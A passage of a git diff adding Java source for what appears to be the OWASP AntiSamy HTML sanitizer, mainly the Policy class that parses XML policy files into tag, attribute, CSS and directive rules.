+ this.formatOutput = isTrue(Policy.FORMAT_OUTPUT);
+ this.preserveSpace = isTrue(Policy.PRESERVE_SPACE);
+ this.omitXmlDeclaration = isTrue(Policy.OMIT_XML_DECLARATION);
+ this.omitDoctypeDeclaration = isTrue(Policy.OMIT_DOCTYPE_DECLARATION);
+ this.entityEncodeIntlCharacters = isTrue(Policy.ENTITY_ENCODE_INTL_CHARS);
+ useXhtml = isTrue(Policy.USE_XHTML);
+ embedTag = getTagByLowercaseName("embed");
+ this.onUnknownTag = getDirective("onUnknownTag");
+ this.isEncodeUnknownTag = "encode".equals(onUnknownTag);
+ this.preserveComments = isTrue(Policy.PRESERVE_COMMENTS);
+ this.styleTag = getTagByLowercaseName("style");
+ this.embedStyleSheets = isTrue(Policy.EMBED_STYLESHEETS);
+ }
+
+ protected InternalPolicy(Policy old, Map<String, String> directives, Map<String, Tag> tagRules) {
+ super(old, directives, tagRules);
+ this.maxInputSize = determineMaxInputSize();
+ this.isNofollowAnchors = isTrue(Policy.ANCHORS_NOFOLLOW);
+ this.isValidateParamAsEmbed = isTrue(Policy.VALIDATE_PARAM_AS_EMBED);
+ this.formatOutput = isTrue(Policy.FORMAT_OUTPUT);
+ this.preserveSpace = isTrue(Policy.PRESERVE_SPACE);
+ this.omitXmlDeclaration = isTrue(Policy.OMIT_XML_DECLARATION);
+ this.omitDoctypeDeclaration = isTrue(Policy.OMIT_DOCTYPE_DECLARATION);
+ this.entityEncodeIntlCharacters = isTrue(Policy.ENTITY_ENCODE_INTL_CHARS);
+ useXhtml = isTrue(Policy.USE_XHTML);
+ embedTag = getTagByLowercaseName("embed");
+ this.onUnknownTag = getDirective("onUnknownTag");
+ this.isEncodeUnknownTag = "encode".equals(onUnknownTag);
+ this.preserveComments = isTrue(Policy.PRESERVE_COMMENTS);
+ this.styleTag = getTagByLowercaseName("style");
+ this.embedStyleSheets = isTrue(Policy.EMBED_STYLESHEETS);
+ }
+
+ public Tag getEmbedTag() {
+ return embedTag;
+ }
+
+ public Tag getStyleTag() {
+ return styleTag;
+ }
+
+ public boolean isEmbedStyleSheets() {
+ return embedStyleSheets;
+ }
+
+ public boolean isPreserveComments() {
+ return preserveComments;
+ }
+
+ public int getMaxInputSize() {
+ return maxInputSize;
+ }
+
+ public boolean isEntityEncodeIntlCharacters() {
+ return entityEncodeIntlCharacters;
+ }
+
+ public boolean isNofollowAnchors() {
+ return isNofollowAnchors;
+ }
+
+ public boolean isValidateParamAsEmbed() {
+ return isValidateParamAsEmbed;
+ }
+
+ public boolean isFormatOutput() {
+ return formatOutput;
+ }
+
+ public boolean isPreserveSpace() {
+ return preserveSpace;
+ }
+
+ public boolean isOmitXmlDeclaration() {
+ return omitXmlDeclaration;
+ }
+
+ public boolean isUseXhtml() {
+ return useXhtml;
+ }
+
+ public boolean isOmitDoctypeDeclaration() {
+ return omitDoctypeDeclaration;
+ }
+
+ private boolean isTrue(String anchorsNofollow) {
+ return "true".equals(getDirective(anchorsNofollow));
+ }
+
+
+ public String getOnUnknownTag() {
+ return onUnknownTag;
+ }
+
+ public boolean isEncodeUnknownTag() {
+ return isEncodeUnknownTag;
+ }
+
+ /**
+ * Returns the maximum input size. If this value is not specified by
+ * the policy, the <code>DEFAULT_MAX_INPUT_SIZE</code> is used.
+ *
+ * @return the maximium input size.
+ */
+ public int determineMaxInputSize() {
+ int maxInputSize = Policy.DEFAULT_MAX_INPUT_SIZE;
+
+ try {
+ maxInputSize = Integer.parseInt(getDirective("maxInputSize"));
+ } catch (NumberFormatException ignore) {
+ }
+
+ return maxInputSize;
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/Policy.java b/src/main/java/org/owasp/validator/html/Policy.java
new file mode 100644
index 0000000..839d766
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/Policy.java
@@ -0,0 +1,836 @@
+/*
+ * Copyright (c) 2007-2013, Arshan Dabirsiaghi, Jason Li, Kristian Rosenvold
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.MalformedURLException;
+import java.net.URI;
+import java.net.URL;
+import java.util.*;
+import java.util.regex.Pattern;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+
+import org.owasp.validator.html.model.AntiSamyPattern;
+import org.owasp.validator.html.model.Attribute;
+import org.owasp.validator.html.model.Property;
+import org.owasp.validator.html.model.Tag;
+import org.owasp.validator.html.scan.Constants;
+import org.owasp.validator.html.util.URIUtils;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.NodeList;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+
+import static org.owasp.validator.html.util.XMLUtil.getAttributeValue;
+
+/**
+ * Policy.java
+ * <p/>
+ * This file holds the model for our policy engine.
+ *
+ * @author Arshan Dabirsiaghi
+ */
+
+public class Policy {
+
+ public static final Pattern ANYTHING_REGEXP = Pattern.compile(".*");
+
+ protected static final String DEFAULT_POLICY_URI = "resources/antisamy.xml";
+ private static final String DEFAULT_ONINVALID = "removeAttribute";
+
+ public static final int DEFAULT_MAX_INPUT_SIZE = 100000;
+ public static final int DEFAULT_MAX_STYLESHEET_IMPORTS = 1;
+
+ public static final String OMIT_XML_DECLARATION = "omitXmlDeclaration";
+ public static final String OMIT_DOCTYPE_DECLARATION = "omitDoctypeDeclaration";
+ public static final String USE_XHTML = "useXHTML";
+ public static final String FORMAT_OUTPUT = "formatOutput";
+ public static final String EMBED_STYLESHEETS = "embedStyleSheets";
+ public static final String CONNECTION_TIMEOUT = "connectionTimeout";
+ public static final String ANCHORS_NOFOLLOW = "nofollowAnchors";
+ public static final String VALIDATE_PARAM_AS_EMBED = "validateParamAsEmbed";
+ public static final String PRESERVE_SPACE = "preserveSpace";
+ public static final String PRESERVE_COMMENTS = "preserveComments";
+ public static final String ENTITY_ENCODE_INTL_CHARS = "entityEncodeIntlChars";
+
+ public static final String ACTION_VALIDATE = "validate";
+ public static final String ACTION_FILTER = "filter";
+ public static final String ACTION_TRUNCATE = "truncate";
+
+ private static char REGEXP_BEGIN = '^';
+ private static char REGEXP_END = '$';
+
+ private final Map<String, AntiSamyPattern> commonRegularExpressions;
+ protected final Map<String, Tag> tagRules;
+ private final Map<String, Property> cssRules;
+ protected final Map<String, String> directives;
+ private final Map<String, Attribute> globalAttributes;
+
+ private final TagMatcher allowedEmptyTagsMatcher;
+ private final TagMatcher requiresClosingTagsMatcher;
+
+ /**
+ * The path to the base policy file, used to resolve relative paths when reading included files
+ */
+ public Tag getTagByLowercaseName(String tagName) {
+ return tagRules.get(tagName);
+ }
+
+ protected static class ParseContext {
+ Map<String, AntiSamyPattern> commonRegularExpressions = new HashMap<String, AntiSamyPattern>();
+ Map<String, Attribute> commonAttributes = new HashMap<String, Attribute>();
+ Map<String, Tag> tagRules = new HashMap<String, Tag>();
+ Map<String, Property> cssRules = new HashMap<String, Property>();
+ Map<String, String> directives = new HashMap<String, String>();
+ Map<String, Attribute> globalAttributes = new HashMap<String, Attribute>();
+
+ List<String> allowedEmptyTags = new ArrayList<String>();
+ List<String> requireClosingTags = new ArrayList<String>();
+
+ public void resetParamsWhereLastConfigWins() {
+ allowedEmptyTags.clear();
+ requireClosingTags.clear();
+ }
+ }
+
+
+ /**
+ * Retrieves a CSS Property from the Policy.
+ *
+ * @param propertyName The name of the CSS Property to look up.
+ * @return The CSS Property associated with the name specified, or null if none is found.
+ */
+ public Property getPropertyByName(String propertyName) {
+ return cssRules.get(propertyName.toLowerCase());
+ }
+
+ /**
+ * This retrieves a Policy based on a default location ("resources/antisamy.xml")
+ *
+ * @return A populated Policy object based on the XML policy file located in the default location.
+ * @throws PolicyException If the file is not found or there is a problem parsing the file.
+ */
+ public static Policy getInstance() throws PolicyException {
+ return getInstance(DEFAULT_POLICY_URI);
+ }
+
+ /**
+ * This retrieves a Policy based on the file name passed in
+ *
+ * @param filename The path to the XML policy file.
+ * @return A populated Policy object based on the XML policy file located in the location passed in.
+ * @throws PolicyException If the file is not found or there is a problem parsing the file.
+ */
+ public static Policy getInstance(String filename) throws PolicyException {
+ File file = new File(filename);
+ return getInstance(file);
+ }
+
+ /**
+ * This retrieves a Policy based on the InputStream object passed in
+ *
+ * @param inputStream An InputStream which contains thhe XML policy information.
+ * @return A populated Policy object based on the XML policy file pointed to by the inputStream parameter.
+ * @throws PolicyException If there is a problem parsing the input stream.
+ */
+ public static Policy getInstance(InputStream inputStream) throws PolicyException {
+ return new InternalPolicy(null, getSimpleParseContext(getTopLevelElement(inputStream)));
+
+ }
+
+
+ /**
+ * This retrieves a Policy based on the File object passed in
+ *
+ * @param file A File object which contains the XML policy information.
+ * @return A populated Policy object based on the XML policy file pointed to by the File parameter.
+ * @throws PolicyException If the file is not found or there is a problem parsing the file.
+ */
+ public static Policy getInstance(File file) throws PolicyException {
+ try {
+ URI uri = file.toURI();
+ return getInstance(uri.toURL());
+ } catch (IOException e) {
+ throw new PolicyException(e);
+ }
+ }
+
+
+ /**
+ * This retrieves a Policy based on the URL object passed in.
+ * <p/>
+ * NOTE: This is the only factory method that will work with <include> tags
+ * in AntiSamy policy files.
+ *
+ * @param url A URL object which contains the XML policy information.
+ * @return A populated Policy object based on the XML policy file pointed to by the File parameter.
+ * @throws PolicyException If the file is not found or there is a problem parsing the file.
+ */
+ public static Policy getInstance(URL url) throws PolicyException {
+ return new InternalPolicy(url, getParseContext(getTopLevelElement(url), url));
+ }
+
+
+ protected Policy(ParseContext parseContext) throws PolicyException {
+ this.allowedEmptyTagsMatcher = new TagMatcher(parseContext.allowedEmptyTags);
+ this.requiresClosingTagsMatcher = new TagMatcher(parseContext.requireClosingTags);
+ this.commonRegularExpressions = Collections.unmodifiableMap(parseContext.commonRegularExpressions);
+ this.tagRules = Collections.unmodifiableMap(parseContext.tagRules);
+ this.cssRules = Collections.unmodifiableMap(parseContext.cssRules);
+ this.directives = Collections.unmodifiableMap(parseContext.directives);
+ this.globalAttributes = Collections.unmodifiableMap(parseContext.globalAttributes);
+ }
+
+ protected Policy(Policy old, Map<String, String> directives, Map<String, Tag> tagRules) {
+ this.allowedEmptyTagsMatcher = old.allowedEmptyTagsMatcher;
+ this.requiresClosingTagsMatcher = old.requiresClosingTagsMatcher;
+ this.commonRegularExpressions = old.commonRegularExpressions;
+ this.tagRules = tagRules;
+ this.cssRules = old.cssRules;
+ this.directives = directives;
+ this.globalAttributes = old.globalAttributes;
+ }
+
+ protected static ParseContext getSimpleParseContext(Element topLevelElement) throws PolicyException {
+ ParseContext parseContext = new ParseContext();
+ if (getByTagName(topLevelElement, "include").iterator().hasNext()){
+ throw new IllegalArgumentException("A policy file loaded with an InputStream cannot contain include references");
+
+ }
+ parsePolicy(topLevelElement, parseContext);
+ return parseContext;
+ }
+
+ protected static ParseContext getParseContext(Element topLevelElement, URL baseUrl) throws PolicyException {
+ ParseContext parseContext = new ParseContext();
+
+ /**
+ * Are there any included policies? These are parsed here first so that
+ * rules in _this_ policy file will override included rules.
+ *
+ * NOTE that by this being here we only support one level of includes.
+ * To support recursion, move this into the parsePolicy method.
+ */
+ for (Element include : getByTagName(topLevelElement, "include")) {
+ String href = getAttributeValue(include, "href");
+
+ Element includedPolicy = getPolicy(href, baseUrl);
+ parsePolicy(includedPolicy, parseContext);
+ }
+
+ parsePolicy(topLevelElement, parseContext);
+ return parseContext;
+ }
+
+
+ protected static Element getTopLevelElement(URL baseUrl) throws PolicyException {
+ try {
+ InputSource source = resolveEntity(baseUrl.toExternalForm(), baseUrl);
+ if (source == null) {
+ source = new InputSource(baseUrl.toExternalForm());
+ source.setByteStream(baseUrl.openStream());
+ } else {
+ source.setSystemId(baseUrl.toExternalForm());
+ }
+
+ return getTopLevelElement( source);
+ } catch (SAXException e) {
+ throw new PolicyException(e);
+ } catch (IOException e) {
+ throw new PolicyException(e);
+ }
+ }
+
+ private static Element getTopLevelElement(InputStream is) throws PolicyException {
+ return getTopLevelElement(new InputSource(is));
+ }
+
+ protected static Element getTopLevelElement(InputSource source) throws PolicyException {
+ try {
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+ DocumentBuilder db = dbf.newDocumentBuilder();
+ Document dom = db.parse(source);
+ return dom.getDocumentElement();
+ } catch (SAXException e) {
+ throw new PolicyException(e);
+ } catch (ParserConfigurationException e) {
+ throw new PolicyException(e);
+ } catch (IOException e) {
+ throw new PolicyException(e);
+ }
+ }
+
+
+
+ private static void parsePolicy(Element topLevelElement, ParseContext parseContext)
+ throws PolicyException {
+
+ if (topLevelElement == null) return;
+
+ parseContext.resetParamsWhereLastConfigWins();
+
+ parseCommonRegExps(getFirstChild(topLevelElement, "common-regexps"), parseContext.commonRegularExpressions);
+ parseDirectives(getFirstChild(topLevelElement, "directives"), parseContext.directives);
+ parseCommonAttributes(getFirstChild(topLevelElement, "common-attributes"), parseContext.commonAttributes, parseContext.commonRegularExpressions);
+ parseGlobalAttributes(getFirstChild(topLevelElement, "global-tag-attributes"), parseContext.globalAttributes, parseContext.commonAttributes);
+ parseTagRules(getFirstChild(topLevelElement, "tag-rules"), parseContext.commonAttributes, parseContext.commonRegularExpressions, parseContext.tagRules);
+ parseCSSRules(getFirstChild(topLevelElement, "css-rules"), parseContext.cssRules, parseContext.commonRegularExpressions);
+
+ parseAllowedEmptyTags(getFirstChild(topLevelElement, "allowed-empty-tags"), parseContext.allowedEmptyTags);
+ parseRequiresClosingTags(getFirstChild(topLevelElement, "require-closing-tags"), parseContext.requireClosingTags);
+ }
+
+
+ /**
+ * Returns the top level element of a loaded policy Document
+ */
+ private static Element getPolicy(String href, URL baseUrl)
+ throws PolicyException {
+
+ try {
+ InputSource source = null;
+
+ // Can't resolve public id, but might be able to resolve relative
+ // system id, since we have a base URI.
+ if (href != null && baseUrl != null) {
+ URL url;
+
+ try {
+ url = new URL(baseUrl, href);
+ source = new InputSource(url.openStream());
+ source.setSystemId(href);
+
+ } catch (MalformedURLException except) {
+ try {
+ String absURL = URIUtils.resolveAsString(href, baseUrl.toString());
+ url = new URL(absURL);
+ source = new InputSource(url.openStream());
+ source.setSystemId(href);
+
+ } catch (MalformedURLException ex2) {
+ // nothing to do
+ }
+
+ } catch (java.io.FileNotFoundException fnfe) {
+ try {
+ String absURL = URIUtils.resolveAsString(href, baseUrl.toString());
+ url = new URL(absURL);
+ source = new InputSource(url.openStream());
+ source.setSystemId(href);
+
+ } catch (MalformedURLException ex2) {
+ // nothing to do
+ }
+ }
+ }
+
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+ DocumentBuilder db = dbf.newDocumentBuilder();
+ Document dom;
+
+ /**
+ * Load and parse the file.
+ */
+ if (source != null) {
+ dom = db.parse(source);
+
+
+ /**
+ * Get the policy information out of it!
+ */
+
+ return dom.getDocumentElement();
+ }
+
+ return null;
+ } catch (SAXException e) {
+ throw new PolicyException(e);
+ } catch (ParserConfigurationException e) {
+ throw new PolicyException(e);
+ } catch (IOException e) {
+ throw new PolicyException(e);
+ }
+ }
+
+ /**
+ * Creates a copy of this policy with an added/changed directive.
+ * @param name The directive to add/modify
+ * @param value The value
+ * @return A clone of the policy with the updated directive
+ */
+ public Policy cloneWithDirective(String name, String value) {
+ Map<String, String> directives = new HashMap<String, String>(this.directives);
+ directives.put(name, value);
+ return new InternalPolicy(this, Collections.unmodifiableMap(directives), tagRules);
+ }
+
+
+ /**
+ * Go through <directives> section of the policy file.
+ *
+ * @param root Top level of <directives>
+ * @param directives The directives map to update
+ */
+ private static void parseDirectives(Element root, Map<String, String> directives) {
+ for (Element ele : getByTagName(root, "directive")) {
+ String name = getAttributeValue(ele, "name");
+ String value = getAttributeValue(ele, "value");
+ directives.put(name, value);
+ }
+ }
+
+
+ /**
+ * Go through <allowed-empty-tags> section of the policy file.
+ *
+ * @param allowedEmptyTagsListNode Top level of <allowed-empty-tags>
+ * @param allowedEmptyTags The tags that can be empty
+ */
+ private static void parseAllowedEmptyTags(Element allowedEmptyTagsListNode, List<String> allowedEmptyTags) throws PolicyException {
+ if (allowedEmptyTagsListNode != null) {
+ for (Element literalNode : getGrandChildrenByTagName(allowedEmptyTagsListNode, "literal-list", "literal")) {
+
+ String value = getAttributeValue(literalNode, "value");
+
+ if (value != null && value.length() > 0) {
+ allowedEmptyTags.add(value);
+ }
+ }
+ } else {
+ allowedEmptyTags.addAll(Constants.defaultAllowedEmptyTags);
+ }
+ }
+
+ /**
+ * Go through <require-closing-tags> section of the policy file.
+ *
+ * @param requiresClosingTagsListNode Top level of <require-closing-tags>
+ * @param requiresClosingTags The list of tags that require closing
+ */
+ private static void parseRequiresClosingTags(Element requiresClosingTagsListNode, List<String> requiresClosingTags) throws PolicyException {
+ if (requiresClosingTagsListNode != null) {
+ for (Element literalNode : getGrandChildrenByTagName(requiresClosingTagsListNode, "literal-list", "literal")) {
+
+ String value = getAttributeValue(literalNode, "value");
+
+ if (value != null && value.length() > 0) {
+ requiresClosingTags.add(value);
+ }
+ }
+ } else {
+ requiresClosingTags.addAll(Constants.defaultRequiresClosingTags);
+ }
+ }
+
+ /**
+ * Go through <global-tag-attributes> section of the policy file.
+ *
+ * @param root Top level of <global-tag-attributes>
+ * @param globalAttributes1 A HashMap of global Attributes that need validation for every tag.
+ * @param commonAttributes The common attributes
+ * @throws PolicyException
+ */
+ private static void parseGlobalAttributes(Element root, Map<String, Attribute> globalAttributes1, Map<String, Attribute> commonAttributes) throws PolicyException {
+ for (Element ele : getByTagName(root, "attribute")) {
+
+ String name = getAttributeValue(ele, "name");
+
+ Attribute toAdd = commonAttributes.get(name.toLowerCase());
+
+ if (toAdd != null) {
+ globalAttributes1.put(name.toLowerCase(), toAdd);
+ } else {
+ throw new PolicyException("Global attribute '" + name + "' was not defined in <common-attributes>");
+ }
+ }
+ }
+
+ /**
+ * Go through the <common-regexps> section of the policy file.
+ *
+ * @param root Top level of <common-regexps>
+ * @param commonRegularExpressions1 the antisamy pattern objects
+ */
+ private static void parseCommonRegExps(Element root, Map<String, AntiSamyPattern> commonRegularExpressions1) {
+ for (Element ele : getByTagName(root, "regexp")) {
+
+ String name = getAttributeValue(ele, "name");
+ Pattern pattern = Pattern.compile(getAttributeValue(ele, "value"));
+
+ commonRegularExpressions1.put(name, new AntiSamyPattern(pattern));
+ }
+ }
+
+
+ private static void parseCommonAttributes(Element root, Map<String, Attribute> commonAttributes1, Map<String, AntiSamyPattern> commonRegularExpressions1) {
+ for (Element ele : getByTagName(root, "attribute")) {
+
+ String onInvalid = getAttributeValue(ele, "onInvalid");
+ String name = getAttributeValue(ele, "name");
+
+ List<Pattern> allowedRegexps = getAllowedRegexps(commonRegularExpressions1, ele);
+ List<String> allowedValues = getAllowedLiterals(ele);
+
+ final String onInvalidStr;
+ if (onInvalid != null && onInvalid.length() > 0) {
+ onInvalidStr = onInvalid;
+ } else {
+ onInvalidStr = DEFAULT_ONINVALID;
+ }
+ String description = getAttributeValue(ele, "description");
+ Attribute attribute = new Attribute(getAttributeValue(ele, "name"), allowedRegexps, allowedValues, onInvalidStr, description);
+
+
+ commonAttributes1.put(name.toLowerCase(), attribute);
+ }
+ }
+
+ private static List<String> getAllowedLiterals(Element ele) {
+ List<String> allowedValues = new ArrayList<String>();
+ for (Element literalNode : getGrandChildrenByTagName(ele, "literal-list", "literal")) {
+ String value = getAttributeValue(literalNode, "value");
+
+ if (value != null && value.length() > 0) {
+ allowedValues.add(value);
+ } else if (literalNode.getNodeValue() != null) {
+ allowedValues.add(literalNode.getNodeValue());
+ }
+
+ }
+ return allowedValues;
+ }
+
+ private static List<Pattern> getAllowedRegexps(Map<String, AntiSamyPattern> commonRegularExpressions1, Element ele) {
+ List<Pattern> allowedRegExp = new ArrayList<Pattern>();
+ for (Element regExpNode : getGrandChildrenByTagName(ele, "regexp-list", "regexp")) {
+ String regExpName = getAttributeValue(regExpNode, "name");
+ String value = getAttributeValue(regExpNode, "value");
+
+ if (regExpName != null && regExpName.length() > 0) {
+ allowedRegExp.add(commonRegularExpressions1.get(regExpName).getPattern());
+ } else {
+ allowedRegExp.add(Pattern.compile(REGEXP_BEGIN + value + REGEXP_END));
+ }
+ }
+ return allowedRegExp;
+ }
+
+ private static List<Pattern> getAllowedRegexps2(Map<String, AntiSamyPattern> commonRegularExpressions1, Element attributeNode, String tagName) throws PolicyException {
+ List<Pattern> allowedRegexps = new ArrayList<Pattern>();
+ for (Element regExpNode : getGrandChildrenByTagName(attributeNode, "regexp-list", "regexp")) {
+ String regExpName = getAttributeValue(regExpNode, "name");
+ String value = getAttributeValue(regExpNode, "value");
+
+ /*
+ * Look up common regular expression specified
+ * by the "name" field. They can put a common
+ * name in the "name" field or provide a custom
+ * value in the "value" field. They must choose
+ * one or the other, not both.
+ */
+ if (regExpName != null && regExpName.length() > 0) {
+
+ AntiSamyPattern pattern = commonRegularExpressions1.get(regExpName);
+ if (pattern != null) {
+ allowedRegexps.add(pattern.getPattern());
+ } else {
+ throw new PolicyException("Regular expression '" + regExpName + "' was referenced as a common regexp in definition of '" + tagName + "', but does not exist in <common-regexp>");
+ }
+
+ } else if (value != null && value.length() > 0) {
+ allowedRegexps.add(Pattern.compile(REGEXP_BEGIN + value + REGEXP_END));
+ }
+ }
+ return allowedRegexps;
+ }
+
+ private static List<Pattern> getAllowedRegexp3(Map<String, AntiSamyPattern> commonRegularExpressions1, Element ele, String name) throws PolicyException {
+ List<Pattern> allowedRegExp = new ArrayList<Pattern>();
+ for (Element regExpNode : getGrandChildrenByTagName(ele, "regexp-list", "regexp")) {
+ String regExpName = getAttributeValue(regExpNode, "name");
+ String value = getAttributeValue(regExpNode, "value");
+
+ AntiSamyPattern pattern = commonRegularExpressions1.get(regExpName);
+
+ if (pattern != null) {
+ allowedRegExp.add(pattern.getPattern());
+ } else if (value != null) {
+ allowedRegExp.add(Pattern.compile(REGEXP_BEGIN + value + REGEXP_END));
+ } else {
+ throw new PolicyException("Regular expression '" + regExpName + "' was referenced as a common regexp in definition of '" + name + "', but does not exist in <common-regexp>");
+ }
+ }
+ return allowedRegExp;
+ }
+
+
+
+ private static void parseTagRules(Element root, Map<String, Attribute> commonAttributes1, Map<String, AntiSamyPattern> commonRegularExpressions1, Map<String, Tag> tagRules1) throws PolicyException {
+
+ if (root == null) return;
+
+ for (Element tagNode : getByTagName(root, "tag")) {
+
+ String name = getAttributeValue(tagNode, "name");
+ String action = getAttributeValue(tagNode, "action");
+
+ NodeList attributeList = tagNode.getElementsByTagName("attribute");
+ Map<String, Attribute> tagAttributes = getTagAttributes(commonAttributes1, commonRegularExpressions1, attributeList, name);
+ Tag tag = new Tag(name, tagAttributes, action);
+
+ tagRules1.put(name.toLowerCase(), tag);
+ }
+ }
+
+ private static Map<String, Attribute> getTagAttributes(Map<String, Attribute> commonAttributes1, Map<String, AntiSamyPattern> commonRegularExpressions1, NodeList attributeList, String tagName) throws PolicyException {
+ Map<String,Attribute> tagAttributes = new HashMap<String, Attribute>();
+ for (int j = 0; j < attributeList.getLength(); j++) {
+
+ Element attributeNode = (Element) attributeList.item(j);
+
+ String attrName = getAttributeValue(attributeNode, "name").toLowerCase();
+ if (!attributeNode.hasChildNodes()) {
+
+ Attribute attribute = commonAttributes1.get(attrName);
+
+ /*
+ * All they provided was the name, so they must want a common
+ * attribute.
+ */
+ if (attribute != null) {
+
+ /*
+ * If they provide onInvalid/description values here they will
+ * override the common values.
+ */
+
+ String onInvalid = getAttributeValue(attributeNode, "onInvalid");
+ String description = getAttributeValue(attributeNode, "description");
+
+ Attribute changed = attribute.mutate(onInvalid, description);
+
+ commonAttributes1.put(attrName, changed);
+
+ tagAttributes.put(attrName, changed);
+
+ } else {
+
+ throw new PolicyException("Attribute '" + getAttributeValue(attributeNode, "name") + "' was referenced as a common attribute in definition of '" + tagName + "', but does not exist in <common-attributes>");
+
+ }
+
+ } else {
+ List<Pattern> allowedRegexps2 = getAllowedRegexps2(commonRegularExpressions1, attributeNode, tagName);
+ List<String> allowedValues2 = getAllowedLiterals(attributeNode);
+ String onInvalid = getAttributeValue(attributeNode, "onInvalid");
+ String description = getAttributeValue(attributeNode, "description");
+ Attribute attribute = new Attribute(getAttributeValue(attributeNode, "name"), allowedRegexps2, allowedValues2, onInvalid, description);
+
+ /*
+ * Add fully built attribute.
+ */
+ tagAttributes.put(attrName, attribute);
+ }
+
+ }
+ return tagAttributes;
+ }
+
+
+ private static void parseCSSRules(Element root, Map<String, Property> cssRules1, Map<String, AntiSamyPattern> commonRegularExpressions1) throws PolicyException {
+
+ for (Element ele : getByTagName(root, "property")){
+
+ String name = getAttributeValue(ele, "name");
+ String description = getAttributeValue(ele, "description");
+
+
+ List<Pattern> allowedRegexp3 = getAllowedRegexp3(commonRegularExpressions1, ele, name);
+
+ List<String> allowedValue = new ArrayList<String>();
+ for (Element literalNode : getGrandChildrenByTagName(ele, "literal-list", "literal")) {
+ allowedValue.add(getAttributeValue(literalNode, "value"));
+ }
+
+ List<String> shortHandRefs = new ArrayList<String>();
+ for (Element shorthandNode : getGrandChildrenByTagName(ele, "shorthand-list", "shorthand")) {
+ shortHandRefs.add(getAttributeValue(shorthandNode, "name"));
+ }
+
+ String onInvalid = getAttributeValue(ele, "onInvalid");
+ final String onInvalidStr;
+ if (onInvalid != null && onInvalid.length() > 0) {
+ onInvalidStr = onInvalid;
+ } else {
+ onInvalidStr = DEFAULT_ONINVALID;
+ }
+ Property property = new Property(name,allowedRegexp3, allowedValue, shortHandRefs, description, onInvalidStr );
+
+
+
+ cssRules1.put(name.toLowerCase(), property);
+
+ }
+ }
+
+
+ /**
+ * A simple method for returning on of the <global-attribute> entries by
+ * name.
+ *
+ * @param name The name of the global-attribute we want to look up.
+ * @return An Attribute associated with the global-attribute lookup name specified.
+ */
+ public Attribute getGlobalAttributeByName(String name) {
+ return globalAttributes.get(name.toLowerCase());
+
+ }
+
+ /**
+ * Return all the allowed empty tags configured in the Policy.
+ *
+ * @return A String array of all the he allowed empty tags configured in the Policy.
+ */
+ public TagMatcher getAllowedEmptyTags() {
+ return allowedEmptyTagsMatcher;
+ }
+
+ /**
+ * Return all the tags that are required to be closed with an end tag, even if they have no child content.
+ *
+ * @return A String array of all the tags that are required to be closed with an end tag, even if they have no child content.
+ */
+ public TagMatcher getRequiresClosingTags() {
+ return requiresClosingTagsMatcher;
+ }
+
+ /**
+ * Return a directive value based on a lookup name.
+ *
+ * @return A String object containing the directive associated with the lookup name, or null if none is found.
+ */
+ public String getDirective(String name) {
+ return directives.get(name);
+ }
+
+
+ /**
+ * Resolves public & system ids to files stored within the JAR.
+ */
+ public static InputSource resolveEntity(final String systemId, URL baseUrl) throws IOException, SAXException {
+ InputSource source;
+
+ // Can't resolve public id, but might be able to resolve relative
+ // system id, since we have a base URI.
+ if (systemId != null && baseUrl != null) {
+ URL url;
+
+ try {
+ url = new URL(baseUrl, systemId);
+ source = new InputSource(url.openStream());
+ source.setSystemId(systemId);
+ return source;
+ } catch (MalformedURLException except) {
+ try {
+ String absURL = URIUtils.resolveAsString(systemId, baseUrl.toString());
+ url = new URL(absURL);
+ source = new InputSource(url.openStream());
+ source.setSystemId(systemId);
+ return source;
+ } catch (MalformedURLException ex2) {
+ // nothing to do
+ }
+ } catch (java.io.FileNotFoundException fnfe) {
+ try {
+ String absURL = URIUtils.resolveAsString(systemId, baseUrl.toString());
+ url = new URL(absURL);
+ source = new InputSource(url.openStream());
+ source.setSystemId(systemId);
+ return source;
+ } catch (MalformedURLException ex2) {
+ // nothing to do
+ }
+ }
+ return null;
+ }
+
+ // No resolving.
+ return null;
+ }
+
+ private static Element getFirstChild(Element element, String tagName) {
+ if (element == null) return null;
+ NodeList elementsByTagName = element.getElementsByTagName(tagName);
+ if (elementsByTagName != null && elementsByTagName.getLength() > 0)
+ return (Element) elementsByTagName.item(0);
+ else
+ return null;
+ }
+
+ private static Iterable<Element> getGrandChildrenByTagName(Element parent, String immediateChildName, String subChild){
+ NodeList elementsByTagName = parent.getElementsByTagName(immediateChildName);
+ if (elementsByTagName.getLength() == 0) return Collections.emptyList();
+ Element regExpListNode = (Element) elementsByTagName.item(0);
